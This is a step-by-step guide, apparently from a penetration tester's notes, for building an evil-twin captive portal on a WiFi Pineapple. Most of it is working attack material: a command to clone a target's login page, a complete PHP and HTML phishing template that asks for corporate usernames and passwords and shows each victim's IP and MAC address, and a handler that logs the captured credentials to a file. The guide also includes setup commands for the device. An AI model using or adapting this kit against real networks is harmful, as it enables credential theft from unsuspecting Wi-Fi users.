WiFi Pineapple | Captive Portal and Evil Twin

From WiFi Pineapple admin page

Step #1 | Install Evil Portal

Go to Modules >> Manage Modules >> Install Evil Portal

Step #2 | Create a New Portal

Go to EvilPortal >> Create New Portal

Step #3 | Create Captive portal

Clone the customer website or captive portal page

$ wget -mkEpnp https://Customer/Pages/contractorlogin.aspx

Note:

All portals are saved in: /root/portals/ on WifiPineapple system

Step #4 | Configure the Captive portal

Configure Index page

Here is a nice template that collects the user's corporate credentials and save it to Wifi pineapple.

index.php
<?php

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

$destination = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
require_once('helper.php');

?>

<!DOCTYPE html>
<html>

<head>
    <title>
        TARGET NAME | Open Wifi
    </title>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <link rel="shortcut icon" type="image/x-icon" href="https://c.s-microsoft.com/favicon.ico">
    <style>
        html,
        body {
            margin: 0;
            padding: 0;
            
            background-repeat: no-repeat;
            background-attachment: fixed;
            background-size: 100% 100%;
        }
        
        .rm-overflow {
            overflow-x: scroll; /* Add the ability to scroll */
            overflow-y: scroll; /* Add the ability to scroll */
        }
        /* Hide scrollbar for Chrome, Safari and Opera */
        .rm-overflow::-webkit-scrollbar {
            display: none;
        }
        /* Hide scrollbar for IE, Edge and Firefox */
        .rm-overflow {
            -ms-overflow-style: none;  /* IE and Edge */
            scrollbar-width: none;  /* Firefox */
        }

        /* Color class */
        .city {
            background-color: #67767b;
            color: white;
            /* border: 0.5px solid black; */
            /* margin: 20px; */
            padding: 20px;
            width: 100%;
            opacity: 0.95;
        }

        .city-header {
            background-color: #67767b;
            color: white;
            padding: 20px;
            opacity: 0.95; 
            flex-shrink: 0;            
        }

        .city-footer {
            background-color: #e8e8e8;
            color: white;
            padding: 20px;
            opacity: 0.95; 
            flex-shrink: 0;        
        }

        /* CAPTCHA STARTS */
        input[type=text] {
            padding: 12px 20px;
            display: inline-block;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }
        input[type=password] {
            padding: 12px 20px;
            display: inline-block;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }
        button {
            background-color: #d1202f;
            border: none;
            color: white;
            padding: 12px 30px;
            text-decoration: none;
            margin: 4px 2px;
            cursor: pointer;
        }

        canvas {
            /*prevent interaction with the canvas*/
            pointer-events: none;
        }

        /* CAPTCHA ENDS */
        body {
            background-color: #ffffff;
        }

        .centered {
            display: block;
            margin-left: auto;
            margin-right: auto;
            text-align: center;
            color: #094f88;
        }

        .centered-okay {
            display: block;
            margin-left: auto;
            margin-right: auto;
            text-align: center;
            color: #008000;
        }

        .centered-err {
            display: block;
            margin-left: auto;
            margin-right: auto;
            text-align: center;
            color: #ff0000;
        }

        .lds-ellipsis {
            display: inline-block;
            position: relative;
            width: 80px;
            height: 80px;
        }

        .lds-ellipsis div {
            position: absolute;
            top: 33px;
            width: 13px;
            height: 13px;
            border-radius: 50%;
            background: #f8b333;
            animation-timing-function: cubic-bezier(0, 1, 1, 0);
        }

        .lds-ellipsis div:nth-child(1) {
            left: 8px;
            animation: lds-ellipsis1 0.6s infinite;
        }

        .lds-ellipsis div:nth-child(2) {
            left: 8px;
            animation: lds-ellipsis2 0.6s infinite;
        }

        .lds-ellipsis div:nth-child(3) {
            left: 32px;
            animation: lds-ellipsis2 0.6s infinite;
        }

        .lds-ellipsis div:nth-child(4) {
            left: 56px;
            animation: lds-ellipsis3 0.6s infinite;
        }

        @keyframes lds-ellipsis1 {
            0% {
                transform: scale(0);
            }

            100% {
                transform: scale(1);
            }
        }

        @keyframes lds-ellipsis3 {
            0% {
                transform: scale(1);
            }

            100% {
                transform: scale(0);
            }
        }

        @keyframes lds-ellipsis2 {
            0% {
                transform: translate(0, 0);
            }

            100% {
                transform: translate(24px, 0);
            }
        }
    </style>

    <!-- to support promise for IE10 -->
    <!-- <script src="https://cdn.polyfill.io/v2/polyfill.min.js"></script> -->

    <!-- CAPTCHA STARTS -->
    <script type="text/javascript">
        function validateCaptcha() {
            var form = document.getElementById("CaptchaForm");
            var username = document.getElementById("username");
            var password = document.getElementById("password");
            if (username.value.includes("@") && !(password.value === "")) {
                var text = document.getElementById("message");
                text.innerHTML = "<h4 class='centered-okay'>Please wait while connecting your device...</h4>"
                return true
            } else {
                var text = document.getElementById("message");
                text.innerHTML = "<h4 class='centered-err'>Wrong Username or Password!</h4>"
                return false
            }
        }
    </script>
    <!-- CAPTCHA ENDS -->

    <script type="text/javascript">
        function loadFunctions() {
        }
    </script>

</head>
<body onload="loadFunctions()">
    <div class="city-header"></div><p></p>
    <!-- Logo -->
    <!--  <img src="logo.png" class="centered"  width="330" height="110" alt="logo.png" />  -->
    <img class='centered'  width='330' height='110' alt='logo.png' src='data:image/png;base64,PNG_BASE64_ENCODED_HERE'>
    <br><br>

    <!-- CAPTCHA STARTS -->
    <center class="rm-overflow">
        <div class="city" media="(max-width: 400px)"  >
            <form method="POST" action="/captiveportal/index.php" id="CaptchaForm" onsubmit="validateCaptcha()">            
                <div style="text-align: center">
                <div style="display: inline-block; text-align: left;">
                  <h2>5G Wifi Access Portal</h2>
                  <table>
                    <tr>
                        <td>SSID </td>
                        <td><?=getClientSSID($_SERVER['REMOTE_ADDR']);?></td>
                    </tr>
                    <tr>
                        <td>Hostname </td>
                        <td><?=getClientHostName($_SERVER['REMOTE_ADDR']);?></td>
                    </tr>
                    <tr>
                        <td>IP address </td>
                        <td><?=$_SERVER['REMOTE_ADDR'];?></td>
                    </tr>
                    <tr>
                        <td>MAC Address </td>
                        <td><?=getClientMac($_SERVER['REMOTE_ADDR']);?></td>
                    </tr>
                  </table><br/>
                </div>
              </div>                
              <input type="text" placeholder="username@TARGET.com" name="username" id="username" oninvalid="this.setCustomValidity('Please enter corporate username!')" required />
              <input type="password" placeholder="PASSWORD" name="password" id="password" oninvalid="this.setCustomValidity('Please enter your password!')" required />
              <input type="hidden" name="target" value="<?=$destination?>">
              <p><button type="submit">Submit</button></p>
              <p id="message"></p>
            </form>
        </div>
     </center>
        
    <!-- CAPTCHA ENDS -->

    <footer style="font-size:14px;color:#67767b;position: absolute;bottom: 10px;width: 100%;text-align: center">
        <strong>All Rights Reserved © 2022 TARGET.</strong> 
    </footer>
</body>

</html>

Configure Auth Page

In /root/portals/CustomerPortal, edit ( MyPortal.php ) to be:

MyPortal.php
<?php namespace evilportal;

class MyPortal extends Portal
{

    public function handleAuthorization()
    {

        file_put_contents('/tmp/evilportal.log', "Username:"."{$this->request->username}\n", FILE_APPEND);
        file_put_contents('/tmp/evilportal.log', "Password:"."{$this->request->password}\n", FILE_APPEND);

        // Call parent to handle basic authorization first
        parent::handleAuthorization();

        // Check for other form data here
    }

    public function showSuccess()
    {
        // Calls default success message
        parent::showSuccess();
    }

    public function showError()
    {
        // Calls default error message
        parent::showError();
    }
}

Note:

All CSS and Javascript file that related to index.php must be uploaded to wifi pineapple in the customer path(eg. /root/portals/CustomerPortal)

Zip the files, transfer them to wifi pineapple then unzip. You may need to install unzip command in wifi pineapple.

scp _assets.zip root@172.16.42.1:/root/portals/CustomerPortal/

Install unzip on wifi pineapple

opkg updateopkg install unzip

Unzip

unzip _assets.zip

Finally, create the log file to collect credentials on wifi pineapple

touch /tmp/evilportal.log

Resources

Last updated